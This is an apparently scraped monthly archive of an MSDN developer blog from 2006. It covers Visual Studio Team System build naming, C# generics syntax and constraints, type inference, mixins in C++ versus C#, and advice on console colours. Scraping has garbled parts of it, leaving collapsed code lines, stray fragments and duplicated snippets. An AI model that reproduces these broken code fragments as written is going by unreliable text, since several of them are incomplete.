In VSTS we just got hit by a bug due to this. When you create a Build Type using the the Wizard, the user can enter names with a DOT at the end. We then create a folder with that name and check the whole thing into Team Foundation Source Control. The problem is what gets created is a and not a. So even though you wanted to create a Build Type named a. you have one named a and all sorts of weird things happen after that. Though this is kind-of a corner situation but still I'd prefer a more honest API anyday.....
On some weekends I bring my daughter to office. She's generally very pleased to be able to crawl all over and go where no baby has gone before. On two occasions she had firmly taken my chair and refused to get up. This really got me thinking, its not far away when the next generation comes and pushes us out. But I guess I have some time in hand and I'd use it to churn out more and better code. But first things first, Visual Studio Team System is now getting readied to be released some time in Q1 this year. Let me get back to fix the few bugs that are still left out. VSTS is surely going to be a great product and make life a lot easier for people developing Software....
When; } }}
<to void Main(string[] args){ ConsoleColor originalCol = Console.ForegroundColor; foreach(ConsoleColor color in Enum.GetValues(typeof(ConsoleColor))) { Console.ForegroundColor = color; Console.WriteLine("{0, -12} {1}", color, color.ToString("D")); } Console.ForegroundColor = originalCol;}
static++.
C# generics syntax is much better than the nearest contender C++. Consider the following generic declaration in C++
template <typename T> // can use <class T> as wellclass GenClass{};
template
I always felt the need to use the typename keyword is without any purpose. Most developers kept using <class T>. The designers of C# showed that the usage of template is also not required. The short and sweet syntax in C# is
class MyClass<T>{ }
Constraint syntax sucks
This does not mean that everything is as small and sweet in C#. The usage of the struct keyword to indicate value type constraint is one such example. Say for a generic type I want to put a restriction that the type parameter can only be a value-type. I have to do it as follows
class MyClass<T> where T: struct{ }MyClass<int> mc = new MyClass<int>();
MyClass
This is very un-intuitive because even for integral types like Int I need to use struct as the constraint.
Similar issue is with specifying constraints on multiple type parameters. Consider the following
class MyClass<T,U> where T: struct where U: class{ }
Only if I break the constraint to two lines can you read it
class MyClass<T,U> where T: struct where U: class{}
There should have been some delimiter in between consecutive where to make the whole thing more readable.
The rules regarding the order of constraints initially taxes your memory but you get used to it soon. If I need a constraint that the type has to be a reference type that must have a public parameterless constructor I need to do the following
class MyClass<T> where T: class, new(){}
Here the order is important as class has to be the first contraint and new() has to be the last.
<Update: Fixed so that you no longer need to copy the Microsoft.TeamFoundation.Build.Common.dll. Thanks to a Watson bug we got to this >
We had a web-UI for Build Report but we do not have one for Build List. Sometime back we had customer queries on adding/removing columns as well as printing the list, both of which we do not support out of the box.
Team System is very extensible with a lot of functionality exposed through web-methods and client-side object-models. I cooked up a web UI which you can use to see the list of builds, optionally filtered by the Build Type in you favourite borwser. The web-ui consists of an aspx page and an xsl file to format the generated xml. All the data that is available for a build is exposed in the XML generated by the aspx code and you can customize the xsl to show the nodes as you like. .
Deploying
Screen Shot
Build list as seen in IE filtered on the Build Type Bt2
Customizing
You can further customize the list like adding filters. You can accept some filter as in http://<TFSServer>:<Port>/Build/v1.0/BuildList.aspx?TeamProject=ProjectName&BuildType=Bt&Filter=LastWeek and then inside the foreach (BuildData buildData in listOfBuilds) skip all builds that have FinishTime more than a week older
You can customize the list by changing the xsl file as well.
Support
This should work with both Beta 3 and the latest CTP bits. In case you failed to get this to work, drop me a message either in comments or in the contact page.
I did not like var in C# 3.0 because I felt it reduces code readability. For the same reason I do not like using Type-Inference in C# 2.0 generics.
class MyClass{ public void MyMethod<T>(T value) { Console.WriteLine("{0} {1}", typeof(T).FullName, value.ToString()); }}class Program{ static void Main(string[] args) { MyClass mc = new MyClass(); mc.MyMethod(5); // Type inference mc.MyMethod<int>(12); // Explicit type parameter }}
Even though the first one using type inference requires less typing (and I'm sure will go a long way in CTS erradication) I prefer the more verbose explicit type parameter.
However when applied to generic delegates, type inference becomes a bit different. Consider the following
class MyClass{ public delegate void Foo<T>(T item); private void Bar(int i) { Foo<int> foo = MyMethod; // MyMethod<int> is inferred //Foo foo = MyMethod<int>; } public void MyMethod<T>(T value) { }}
//Foo foo = MyMethod<
I was talking to a friend some-time back and when compared to generic methods, he had assumed that type inference for generic delegate would mean that the type parameter of the delegate will be inferred. However as we see from the example above that the type of the delegate needs to be explictly given and from this the type of the generic method is inferred. I am kind of OK with this because at least the types are specified in the statement...
In one of my previous lives when I first heard about mixin and tried to look it up I hit into various conflicting definitions. The definition of Mixin I settled for is "MixIn programming is a style of software development where units of functionality are created in a class and then mixed in with other classes". In C++ two common ways of doing this is multiple-inheritance and parameterized Abstract Sub Class (yep not Abstract Base class). I'll not get into MI because the basic design of C# will never allow it. However C# may be expanded to include Mixin using generics.
Mixin in C++
The definition of mixin above is pretty general. Even though mixin is a class it is intended to be combined with other classes and not to be used standalone. Mixins can be defined using parameterized inheritance of Abstract Sub class as follows
template <typename Base>class MyMixin : public Base{};template <typename Base>class AnotherMixin : public Base{}; MyMixin<AnotherMixin<string> > mm;
MyMixin<AnotherMixin<string> > mm;
In the above code both MyMixin and AnotherMixin derive from the type parameter passed to it. They are Abstract Sub classes because their super classes are not pre-determined. It is possible to chain them to create a singly-inherited hierarchy so that the combined class gets the public functionality of all the mixin classes in the chain. Lets take a look at a more concrete example....
#include <iostream>#include <string>#include <ctime>using namespace std; template <typename T>class AgeProvider : public T{ time_t createdOn;public: AgeProvider() { time(&createdOn); } double age() { time_t currTime; time(&currTime); return difftime(currTime, createdOn); } string CreatedOn () { return ctime(&createdOn); }}; template <typename T>class CountProvider : public T{ static unsigned counter;public: CountProvider() { CountProvider::counter++; } unsigned GetCount() { return counter; }};template<class T> unsigned CountProvider<T>::counter = 0;typedef AgeProvider<CountProvider<string> > TrackedString; int main(int argc, char* argv[]){ AgeProvider<CountProvider<string> > tstr; tstr.append("Abhinaba "); tstr.append("Basu"); cout << "Content : " << tstr << endl; cout << "Created : " << tstr.CreatedOn(); cout << "Age : " << tstr.age() << endl ; cout << "Count : " << tstr.GetCount() << endl; return 0;}
#include
time_t createdOn;
AgeProvider() {
time(&createdOn);
time_t currTime;
time(&currTime);
string CreatedOn () {
CountProvider() {
CountProvider::counter++;
typedef
int
AgeProvider<CountProvider<string> > tstr;
tstr.append(
cout <<
Here the first mixin class in AgeProvider which gives info on the age in seconds of an instance of the class as well as when the instance was created. The other mixin is CountProvider which gives how many instances of a specific class was ever made. Both of these classes have no use on their own. However when they are mixed together with a stand-alone class like string they provide the funtionality of counting and age to that class. Interestingly the whole of the above works without any multiple-inheritance and not imposing any restriction on the Mixin classes on what they inherit from or the inheritance order.
Mixins In C#
Some suggest that extension methods in the upcoming C# 3.0 are a kind of Mixins, because you can put in functionalities in these methods and arbitrarily tag it onto any class you want. In the C# 2.0 specification section 20.1.3 it is clearly called out that the base class of a generic class has to be a constructed class type so this rules out using the above approach to be used in C#. I am not too sure on why we choose to explicitly disallow abstract subclass. Since C# does not support multiple-inheritance, IMO it should have supported Mixin style coding.
With Whidbey (VS2005) managed Console based applications have got a boost with new additions to the System.Console namespace. You can now change the color, size, buffer-size, cursor-size, cursor-position, window-title directly from a managed application without PInvoke.
However, just because it can be done easily, doesn't mean that it should be used. If you are developing a console based game or something similar like a chat client you have the liberty to do this. Otherwise think twice (or thrice) before you play around with any of these settings. The reason is simple most people (like me) will get super annoyed if for some reason the console window suddenly jumps and resizes when I run a program.
If you think that doing some thing simpler like changing the text color (using Console.ForegroundColor) to draw attention is Ok, consider it carefully. It might just not work, could look horrible on some specific console setting or might convey the wrong meaning. I have listed below some common usage of changing these setting programmatically and why they might not work. Most programmers agree and understand that playing with console window size or buffer-size is not a good idea and do not use it so I have omitted them from here.
Changing text color using Console.ForegroundColor
Warning and Error Messages: Using different colors for output text, like yellow for warnings and red for error might be fine. You just need to ensure that you use the right set of colors as their meaning are deeply bound in the mind of the users. The following table typically works
Do NOT use colors when its not absolutely required: Its best to avoid using colors when not absolutely required. In most cases it'll lead to trouble and rarely be of any benefit. See the following example where the prompt comes in yellow. Since this is a console based application it would have blocked until I entered the required inputs so drawing attention with yellow does not add any value. Since yellow is associated with warning, a first-time user might thing that something is wrong and he's required to rectify this by entering some server name.
Welcome to my tool
Server : MyServer
Username: Abhinaba
Do NOT use a dark color for text: People do change the background color of the console. I use Teal and DarkBlue often, so ensure that you do not choose one of the darker colors for the text as it might coincide with the background color of the console window and your text will be invisible. I once came accross a tool which used blue for text entered by the user. I had launched that application on a blue-background console. Since I was using the application for the first time, I had a hard time figuring out what was going on, as I couldn't see what I was typing.
The safe colors are Gray, Green, Cyan, Red, Magenta, Yellow and White. However sometimes even these colors in combination with background colors cause eye-sore as in
Some error message!!
Do restore the original color: Even if you use any of the above colors remember to switch the color back to the original color. Use some thing like
public void ShowError(string message)
{
ConsoleColor orgCol = Console.ForegroundColor;
Console.ForegroundColor= ConsoleColor.Red;
Console.WriteLine(message);
Console.ForegroundColor = orgCol; // restore color
}
This might look trivial, but can be a big source of annoyance. Like your application gets an exception, the exception-handler sets color to red, shows the error message and the application exits. Now whatever I type in that console window is in Red!!!
Using Console.BackgroundColor
Do NOT change the background color: Console.BackgroundColor = ... is bad. The reason being that the color is changed only for subsequent text and it looks horrible as below
Text before color change
Text after I changed the background col to cyan
Even though very few people intentionally do this, it does creep into application. Sometime back in some error message code I saw this.
Console.BackgroundColor = ConsoleColor.Black;
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("Error!!!");
This went undetected in test, until someone opened it in a Teal window and this is what came up
Some error message!!
Playing with cursor
CursorVisible: You might want to hide the cursor when showing some output using Console.CursorVisible = false. Just remember to revert it back to the same visibility state as it originally was.
CursorPosition: Jumping the cursor around in the screen is not a main-stream scenario and most console application don't use it. However, I have seen some tools like build-systems use this to show subsquent outputs in the same line. Consider the following code
int currPos = Console.CursorTop; // get the current pos
for (int i = 0; i < 30; i++)
{
Console.WriteLine("Counting {0}", i);
Console.CursorTop = currPos; // Go back to the same line
System.Threading.Thread.Sleep(200);
}
This shows the counter in the same line. This might be required in your application. However, in some cases its over-done and you can simply live without it...
Most programmers are used to UI guidelines. Unfortunately most of these guidelines ingnore command line interface and are silent on them...
Some time back I had posted about why protected member of a base class cannot be directly called from a derived class. The same thing holds for generic classes as well. However, protected member access rule has been updated in the C#2.0 spec to accomodate for Generics.
Consider the following
class BClass { protected int x;}class AClass : DClass {}class DClass : BClass { void Foo() { //BClass b = new BClass(); //b.x = 5; DClass d = new DClass(); d.x = 10; AClass a = new AClass(); a.x = 13; }}
class DClass : BClass {
void Foo()
//BClass b = new BClass();
d.x = 10;
a.x = 13;
The above code compiles fine because a class is allowed to access protected member of its base class (not directly though) and also of any other class (AClass) that derives from it. Obviously you cannot access the protected member of any other class.
In case of generic classes the rule got slightly modified (2.0 spec Section 20.1.7) as follows
Within a generic class G, access to an inherited protected instance member M using a primary-expression ofthe form E.M is permitted if the type of E is a class type constructed from G or a class type inherited from aclass type constructed from G.
Within a generic class G, access to an inherited protected instance member M using a primary-expression ofthe form E.M is permitted if the type of E is a class type constructed from G or a class type inherited from aclass type constructed from G.
What this means is that atleast for protected member access, types constructed from the same generic class are considered the same. Contrast this with the fact that if a generic class has a static member, a seperate copy (not shared) of it used for each constructed type. The following code compiles fine
class B<T> { protected T x;}class E<T> : D<T>{}class D<T> : B<T> { void F() { D<int> di = new D<int>(); D<string> ds = new D<string>(); di.x = 123; ds.x = "test"; E<string> e = new E<string>(); e.x = "test2"; }} D<int> d = new D<int>();
ds.x =
E<string> e = new E<string>();
e.x = "test2";
D
So in the above code even though D<string> and D<int> are different closed constructed types they can access each other protected members. Same thing holds for E<string>.
For a long time I am out of touch with the C++ world. Amit pointed me to the paper A Brief Look at C++0x which talks about C++0x scheduled to be released in 2009. I loved some of the new features. Some of the changes proposed in C++ brings it closer to C#. Here is a run down with some comparisons with how the new C++ features match up with C#
Interestingly as Stroustroupe himself says all the new features are targeted for generics development. This is very close to the C#2.0 release which had a huge number of changes targetted for generics. | http://blogs.msdn.com/b/abhinaba/archive/2006/01.aspx | crawl-003 | refinedweb | 4,446 | 64 |
JythonBook / chapter8.rst
Chapter 8: Scripting With Jython
In this chapter we will look at scripting with jython. For our purposes, I will define "scripting" as the writing of small programs to help out with daily tasks. These tasks are things like deleting and creating directories, mananging files and programs, or anything else that feels repetitive that you might be able to express as a small program. In practice however, scripts can become so large that the line between a script and a full sized program can blur.
We'll start with an overview of some of the most helpful modules that come with jython for these tasks. These modules are os, shutil, getopt, optparse, subprocess. We will just be giving you a quick feel for these modules. For details you should look at reference documentation like. Then we'll cover a medium sized task to show the use of a few of these modules together.
Parsing Commandline Options, the second is the getopt module, and the third is the newer, more flexible optparse module.
Let's say we have a script called foo.py and you want to be able to give it some parameters when you invoke it the name of the script and the arguments passed can be examined by importing the sys module and inspecting sys.argv like so:
# script foo.py import sys print sys.argv
If you run the above script with a, b, and c as arguments:
$ jython foo.py a b c $ ['foo.py', 'a', 'b', 'c']
The name of the script ended up in sys.argv[0], and the rest in sys.argv[1:]. Often you will see this instead in jython programs:
# script foo2.py import sys
args = sys.argv[1:] print args
which will result in:
$ jython foo2.py a b c $ ['a', 'b', 'c']
If you are going to do more than just feed the arguments to your script directly, than parsing these arguments by hand can get pretty tedious. The jython libraries include two modules that you can use to avoid tedius hand parsing. Those modules are getopt and optparse. The optparse module is the newer, more flexible option, so I'll cover that one. The getopt module is still useful since it requires a little less code for simpler expected arguments. Here is a basic optparse script:
# script foo3.py from optparse import optionparser parser = optionparser() parser.add_option("-f", "--foo" help="set foo option") parser.add_option("-b", "--bar" help="set bar option") (options, args) = parser.parse_args() print "options: %s" % options print "args: %s" % args
running the above:
$ jython foo3.py -b a --foo b c d $ options: {'foo': 'b', 'bar': 'a'} $ args: ['c', 'd']
I'll come back to the optparse module with a more concrete example later in this chapter.
Scripting The Filesystem
We'll start with what is probably the simplest thing that you can do to a filesystem, and that is listing the file contents of a directory.
>>> import os >>> os.listdir('.') ['ast', 'doc', 'grammar', 'lib', 'license.txt', 'news', 'notice.txt', 'src']
First we imported the os module, and then we executed listdir on the current directory, indicated by the '.'. Of course your output will reflect the contents of your local directory. The os module contains many of the sorts of functions that you would expect to see for working with your operating system. The os.path module contains functions that help in working with filesystem paths.
Compiling Java Source
While compiling java source is not strictly a typical scripting task, it is a task that I'd like to show off in my bigger example starting in the next section. The api I am about to cover was introduced in jdk 6, and is optional for jvm vendors to implement. I know that it works on the jdk 6 from sun and on the jdk 6 that ships with mac os x. For more details of the javacompiler api, a good starting point is here:. The following is a simple example of the use of this api from jython()
Example Script: builder.py
So I've discussed a few of the modules that tend to come in handy when writing scripts for jython. Now I'll put together a simple script to show off what can be done. I've chosen to write a script that will help handle the compilation of java files to .class files in a directory, and clean the directory of .class files as a separate task. I will want to be able to create a directory structure, delete the directory structure for a clean build, and of course compile my java source files. "task" decorator that gathers the names of the functions and puts them in a dictionary. We have an optionparser class that defines two options --projecthelp and --quiet. By default the script logs its actions to standard out. --quiet turns this logging off. --projecthelp lists the available tasks. We have defined two tasks, "compile" and "clean". The "compile" task globs for all of the .java files in your directory and compiles them. The "clean" task globs for all of the .class files in your directory and deletes them. Do be careful! The .class files are deleted without prompting!
So lets give it a try. If you create a Java class in the same directory as builer.py, say the classic "Hello World" program:
HelloWorld.java
public class HelloWorld { public static void main(String[] args) { System.out.println("Hello, World"); } }
You could then issue these commands to builder.py with these results:
DEBUG.classicHelloWorld.java HelloWorld.classicHelloWorldbuilder.py [frank@pacman chapter8]$ jython builder.py clean [frank@pacman chapter8]$ ls HelloWorld.javabuilder.py [frank@pacman chapter8]$ jython builder.py --quiet compile [frank@pacman chapter8]$ ls DEBUG.classicHelloWorldHelloWorld.java HelloWorld.classicHelloWorldHelloWorldbuilder.py [frank@pacman chapter8]$ | https://bitbucket.org/idalton/jythonbook/src/c559df498a7e/chapter8.rst?at=default | CC-MAIN-2014-15 | refinedweb | 967 | 76.01 |
Hi
I was trying to write a simple program to find the largest out of the three given numbers. But when I try to compile it gives first error at the bold line. Could you please correct it?
By the way, is there any way that I could check it for all the errors before I try to compile it? e.g. When I tried to compile the program the compiler (Dev-C++) highlighted only the bold line, so I don't know (I'm sure there are!) if there are errors in other lines too. If I had known this I would have also boldfaced those lines too. Do you get what I'm trying to ask?
Please help me. Thanks a lot.
Code:#include <iostream> #include <conio> using namespace std; int main() { float a, b, c; cout << "Enter the three numbers" << endl; cout << "Enter a = " << endl; cin >> a; cout << "Enter b = "; cin >> b; cout << "Enter c= " << endl; cin >> c; if (a > b)&&(c < b) cout << "a is the largest" << endl; if (b > a)&&( a < c) cout << "b is the largest" << endl; else cout << "c is the largest" << endl; getch(); } | http://cboard.cprogramming.com/cplusplus-programming/136465-simple-programme-find-largest-three.html | CC-MAIN-2015-35 | refinedweb | 191 | 88.36 |
With
Can you say virtualization? How about “better together”? Do you care about Hyper-V or Windows 7 integration right now? If the answer to either question is yes (and in my experience that’s not always actually the case) then you will want to check out R2. One of the biggest new features in R2 is one that VMware has had for about 5 or so years in Live Migration, the ability to move a virtual machine, while it’s running (assuming the application in use supports the ability to do so and that you’re using Clustered Shared Volumes). This includes failover in Cluster Node Connectivity Fault Tolerance. SC VMM, or System Center Virtual Machine Manager in 2008 R2 is more useful than ever in that you can get a dashboard of what you have in motion and move guests between hosts from a single console. You can also more rapidly provision virtual machines with Channels and saved hardware profile templates.
Microsoft also fine tuned their application publishing environment, RemoteApp, their terminal services proxy, now called Remote Desktop Services Gateway) and and tweaked RDP to include a number of new Windows 7 like features. While all of this new stuff is great to have, Microsoft is still not going to give VMware much of a run for their money as ESX jumped a whole new level forward with vSphere. Having said that, Hyper-V becomes more mature with each release and is now fully integrated into Windows Server.
R2 also supports remotely connecting to another servers Server Manager console, which will likely reduce the number of times you’re establishing Remote Desktop connections to hosts. It also has a Best Practices Analyzer for each service and a new rev of PowerShell (along with a number of PowerShell commandlets wrapped in GUIs).
But Charles, you said Windows 7? Sure I did. R2 adds DirectAccess and BranchCache, two new ways to have remote accessibility for remote clients (rather than using a VPN) and remote workers respectively. Windows Deployment Services also got a bit of a feature boost, namely to ease the migration path into Windows 7.
There’s also some new AD stuff. Authentication Assurance for Active Directory Federated Services allows for certificate mapping to OUs. djoin.exe can leverage an xml answer file for joining a client into Active Directory while it’s offline. In addition to exe’s there’s also a number (more than 75) of new commandlets for PowerShell. There’s also a recycle bin for those objects you really didn’t mean to delete and finally, a Active Directory Administrative Center, which is pretty much a commandlet wrapper that provides for task-based support administration (I’m on the fence about this one still).
IIS 7.5 is also pretty notable. It has new tie-ins for the newly mentioned next release of SQL Server and an automator-like task generator (another wrapper around PowerShell). Not that I’ve been able to test but apparently I can now use 256 logical processors and 32 with Hyper-V). There’s also new failover options (which I haven’t fully explored so I’ll not go into further detail on those yet), an unattended installation feature and more granularly defined cluster node behaviors in this latest generation of IIS.
PS – Terminal Services is now known as Remote Desktop Services.
krypted September 17th, 2009
Posted In: VMware, Windows Server
Tags: iis 7.5, new features, new settings, rad, Windows 7, Windows Server 2008
The first task that you will complete setting up any WIndows Server 2008 is to set up a Server Role. To do so, open Server Manager and click on Add Roles. At the Add Roles Wizard, click on the Next button to show a list of roles to add. Check the box for File Services and click on the Next button. Click on Next again. At the Select Role Services screen, you’ll see that File Server is checked. This will install the SMB/CIFS services. You’ll also see Distributed File System. Check the box for Distributed File System and the then check the boxes for DFS Namespaces if you want to setup shared folders that spread across multiple servers. You can enable DFS Replication if you need to configure name spaces that get synchronized between multiple servers. When you’re comfortable that you’ve enabled the services required, click on Next.
At the Create a DFS Namespace screen, you can go ahead and create your first namespace. To do so, provide a name for the namespace and click on Next. At the Namespace Type screen, click on Domain-based namespace (or if you will be using only the one server go ahead and click on Stand-alone namespace). Note the Namespace preview. This is the path that you will use to connect to the DFS namespace from client systems.
Click Next and then at the Namespace Configuration screen, click on Add and then click on Browse to select a folder to be shared. If you do not yet have a shared folder then click on New Shared Folder. At the Create Share screen, provide the path and the permissions for the folder as you would most shares. If you already have existing shares then select the share which will be used to provide the DFS namespace and click on OK.
Back at the Add folder to Namespace screen, verify the information appears correct and click on OK. Now you’ll be back at the Namespace Configuration screen. Here, you’ll see the namespace that is presented to users and below it you will see the share point that you created, which will appear to users as a subfolder of the namespace. Provided that you have DFS installed on a second server you can then add a shared directory from that server as yet another subfolder of the namespace. Otherwise, click on the Next button, then verify the settings and click Install. When the installation is complete, click Close.
From Administrative Tools, click on DFS Management. Here, you can use the wizard to publish namespaces to multiple servers for replication, configure the backup services for DFS and perform a variety of other wizardly types of tasks. But more importantly, you can click on Namespaces and configure additional shared folders to be added to the namespace and additional servers.
krypted September 4th, 2009
Posted In: Windows Server
Tags: CIFS, DFS, DFS Namespace, SMB, Windows Server 2008
Installing services in Windows Server has always been a straight forward affair. In Windows Server 2008, much of the role addition is wizardly and provides administrators with a guided setup. To get started, open Server Manager from Start -> Administrative Tools. Then, click on Roles under the appropriate server in the side bar to the left of the screen. Next, click on Add Roles and then after reading the Before You Begin screen, click on the Next button.
At the listing of available roles, click on the role you would like to install and highlight the checkbox for the role, clicking on the Next button once all roles that you are adding have been selected. At each step along the way, Microsoft has provided you with a number of links. If you see them, read them. For each role you will have a number of role services. These translate very much into the services you see listed in the Services screen of Server Manager. Highlight and place a checkmark next to each of the services that you would like to install as a part of your role deployment and then click on the Install button. If the operating system doesn’t have all of the files (ie – .cab) that are needed to install that role then you will be prompted to insert a disk into the drive.
Once the installation is complete you will more than likely need to reboot and then you will either be prompted for a wizard to configure the role or you will be able to access the appropriate mmc for the role in Administrative Tools.
krypted August 24th, 2009
Posted In: Windows Server
Tags: cabinet, role, server manager, Windows Server, Windows Server 2008
You may find that a disk in Windows Server simply isn’t big enough for your greedy applications. But never fear, the good folks at Microsoft have given us the ability to expand that volume on the fly, as needed by adding other pools of storage or single disks to it. However, it’s important to keep in mind that if you have a highly available volume (let’s just say a RAID6) and you add a single disk to it then you have just effectively lost the high availability for the data stored on the extended portion of the volume. So make sure that the new storage you are adding matches up to your policies on RAID levels, etc.
To expand a volume first add the storage and do not allocate it to a volume or create a disk out of it. Leave it as free space. Then, while logged in as an administrator, open Administrative Tools from the Server Manager. From here, click on Storage and select Disk Management. Then right-click on the disk you wish to expand and click on Extend Volume, which will open the Extend Volume Wizard. Click on the free space to add to the disk from the list under the Available column, which will move it under the Selected column. From here you will be given a value (in MB) for how much to extend the volume. This cannot be greater than the number listed in the Maximum available space in MB field. Once you are satisfied with the storage you will be adding into your logical disk click on the Next button.
Read the overview of what will be added, taking note to verify that the total number of MB is not greater than what is available and click on the Finish button. Now wait and viola your disk should now be bigger.
You can also do this through the command line by using the diskpart command. Basically, you select a partition from a disk by doing select disk and then select partition (you can list disk and list partition to see what you will be managing). Then use the Extend Size= variable to define how much to extend it by (by default it will just use all the space so you don’t have to set this if you don’t want to). Once done type Extend and you’re off to the races.
Once again, I need to emphasize that whole redundancy thing. If you add a single disk into a volume that was RAID 6 then you’re going to be in a far less redundant scenario. When possible preserve the RAID type for the original media.
An alternative to this process is to use a couple of different strategies.
The first is to use a symbolic link provided the application can traverse one. You can symlink a folder from one drive onto another. You can do this using the mklink command. Using symbolic links may allow you to temporarily isolate what data will go onto, for example, a near line disk being used temporarily as online storage. This can be useful in situations where you plan on adding a larger disk that is fully redundant later and just need to put your data somewhere in the meantime.
Another option is the subst command. Using the subst command you can basically map a drive letter to a folder on the computer. This will effectively mount up a path as though it were a network share, used similarly to the NET USE command.
A final option from back in the day is to use the append command, but I think this one was not included with Windows Server 2008 so don’t quote me on that…
So another point to make is that the process for expanding a volume works with internal media and external media. So if you have, for example, a fiber channel disk array or some eSATA storage you can expand an internal disk (let’s say C: or D:) to include this media. So given a full array of internal disks and no available expansion slots you can fairly easily go ahead and add more media even if you are out of internal space. Ergo, from a storage standpoint, you can almost always upgrade provided you have an extra PCI or PCI-X slot on a Windows Server. Or you could theoretically use iSCSI storage, although I haven’t personally gone this route in this type of situation…
krypted October 11th, 2008
Posted In: Windows Server, Windows XP
Tags: dynamic disks, eSATA, Expand disk, fiber channel, fibre channel, iscsi, PCI, Windows Server, Windows Server 2008
krypted October 6th, 2008
Posted In: Active Directory
Tags: Active Directory, extend schema, Mac OS X, Windows Server 2008
In Windows Server 2008 you can use the Server Manager application to enable RIS (part of Windows Deployment Services, WDS). To do so, open Server Manager and click on Roles in the left column. Then click on Next and read the Introduction to WDS items. It’s worth noting that you can setup your server as a Transport Server in WDS, which is a bit like Multicast clustering (eg – multicast ASR imaging for the Mac). It’s also worth noting that a Deployment Server will use parts of the Transport Server to do its job so you’ll need to install both. Once you’re satisfied with your selection, click Next and then click on the Install button to install the services.
Prior to installing WDS it would be a good idea to install DHCP, DNS and Active Directory, or at minimum verify their operations.
krypted September 29th, 2008
Posted In: Active Directory, Mass Deployment, Windows Server
Tags: Microsoft Windows Server 2008, RIS, WDS, Windows Server 2008 | http://krypted.com/tag/windows-server-2008/ | CC-MAIN-2017-34 | refinedweb | 2,334 | 68.1 |
Including "MySensors.h" in multiple files
Hi, maybe this is a very silly question but how can I include MySensors.h in multiple files (if it is possible)? The scenario is the following: my sketch includes MySensors.h but it also includes another .h header which needs to include MySensors.h since the corresponding .cpp file is using some functions of the MySensors engine. Something like:
Sketch -> MySensors.h -> file.h -> MySensors.h
Compiler is ok with it but the linker is complaining about multiple definitions of functions (e.g. (.text+0x0): multiple definition of `wakeUp1()'). I can guess the reason why since MySensors.h is including cpp files and not just defining functions so the two objects created have the same functions twice.
I couldn't find a workaround different than defining as extern the functions I need in my file.h but it would be endless since I would need to re-define almost anything. Any other reasonable workaround?
Thanks!
@user2684 isn't it sufficient to place the MySensors.h include in your sketch before the file.h include, and not include MySensors.h from file.h at all?
You can use include guards (just learned that expression myself
)
So just put
#ifndef MYSENSORS_H #define MYSENSORS_H #include <MySensors.h> #endif
instead of just
#include <MySensors.h>
you might also try #pragma once not sure if the arduino compiler understands it.
Weird that MySensors.h does not have that in there...
edit: it actually does...
/** * @file MySensors.h * * MySensors main interface (includes all necessary code for the library) */ #ifndef MySensors_h #define MySensors_h
Do not include MySensors.h ... include the specific headers you need under /core
Thanks for all the answers guys! @mfalkvidd unfortunately without including a mysensors header, file.cpp cannot not compile (e.g. 'sendSketchInfo' was not declared in this scope).
@pansen to you point include guards do not solve the problem here since the error is coming from the linker, not from the compiler.
@hek, you are absolutely right! How could I miss such a simple solution! With this in file.h, everything seems working fine:
#include <core/MySensorsCore.h>
On this same topic, as far as I've understood "file.h" which includes "core/MySensorsCore.h" still needs the same define of the main sketch to work because that configuration cannot jump across files. Probably better would be to create another header file with all the "define" and include it in both the main sketch and file.h. Am I heading to the right direction?
Thanks again
@user2684 said in Including "MySensors.h" in multiple files:
@pansen to you point include guards do not solve the problem here since the error is coming from the linker, not from the compiler.
Ah right, thanks!
You can also set
#pragma once
as the fist line of a header file to prevent multiple inclusions. | https://forum.mysensors.org/topic/6084/including-mysensors-h-in-multiple-files | CC-MAIN-2018-47 | refinedweb | 475 | 69.99 |
题解：据说是个背包问题；可惜我不是这么做的，我是暴力枚举！！！先把倍数乘上10
Description
New Zealand currency consists of $100, $50, $20, $10, and $5 notes and $2, $1, 50c, 20c, 10c and 5c coins. Write a program that will determine, for any given amount, in how many ways that amount may be made up. Changing the order of listing does not increase
the count. Thus 20c may be made up in 4 ways: 1
20c, 2
10c,
10c+2
5c, and 4
5c.
Input
Input will consist of a series of real numbers no greater than $50.00 each on a separate line. Each amount will be valid, that is will be a multiple of 5c. The file will be terminated by a line containing zero (0.00).
Output
Output will consist of a line for each of the amounts in the input, each line consisting of the amount of money (with two decimal places and right justified in a field of width 5), followed by the number of ways in which that amount may be made up, right justified in a field of width 12.
Sample input
0.20 2.00 0.00
Sample output
0.20 4 2.00 293
#include <cstdio> #include <cstdlib> #include <cstring> #include <iostream> #include <cmath> #include <algorithm> using namespace std; int main() { double x; int i,j,k,l,n,m,o,p,q; while (~scanf("%lf",&x) && x) { x*=10; if (x<1) { printf("%.2lf 1\n",x/10); continue; } int t=0; for (i=0;i<=x/500;i++) for (j=0;j<=(x-i*500)/200;j++) for (k=0;k<=(x-i*500-j*200)/100;k++) for (l=0;l<=(x-i*500-j*200-k*100)/50;l++) for (n=0;n<=(x-i*500-j*200-k*100-l*50)/20;n++) for (m=0;m<=(x-i*500-j*200-k*100-l*50-n*20)/10;m++) for (o=0;o<=(x-i*500-j*200-k*100-l*50-n*20-m*10)/5;o++) for (p=0;p<=(x-i*500-j*200-k*100-l*50-n*20-m*10-o*5)/2;p++) { int y=x-i*500-j*200-k*100-l*50-n*20-m*10-o*5-p*2; t+=y+1; } printf("%5.2lf%12d\n",x/10,t); } return 0; } | https://blog.csdn.net/modiz/article/details/17060845 | CC-MAIN-2018-26 | refinedweb | 388 | 80.82 |
#include <rte_per_lcore.h>
Go to the source code of this file.
API for error cause tracking
Definition in file rte_errno.h.
Error number value, stored per-thread, which can be queried after calls to certain functions to determine why those functions failed.
Uses standard values from errno.h wherever possible, with a small number of additional possible values for RTE-specific conditions.
Definition at line 29 of file rte_errno.h.
Check if we have a defined value for the max system-defined errno values. if no max defined, start from 1000 to prevent overlap with standard values
Definition at line 49 of file rte_errno.h.
Error types
Definition at line 53 of file rte_errno.h.
Per core error number.
Function which returns a printable string describing a particular error code. For non-RTE-specific error codes, this function returns the value from the libc strerror function. | https://doc.dpdk.org/api-22.07/rte__errno_8h.html | CC-MAIN-2022-40 | refinedweb | 146 | 60.01 |
This is the mail archive of the libstdc++@gcc.gnu.org mailing list for the libstdc++ project.
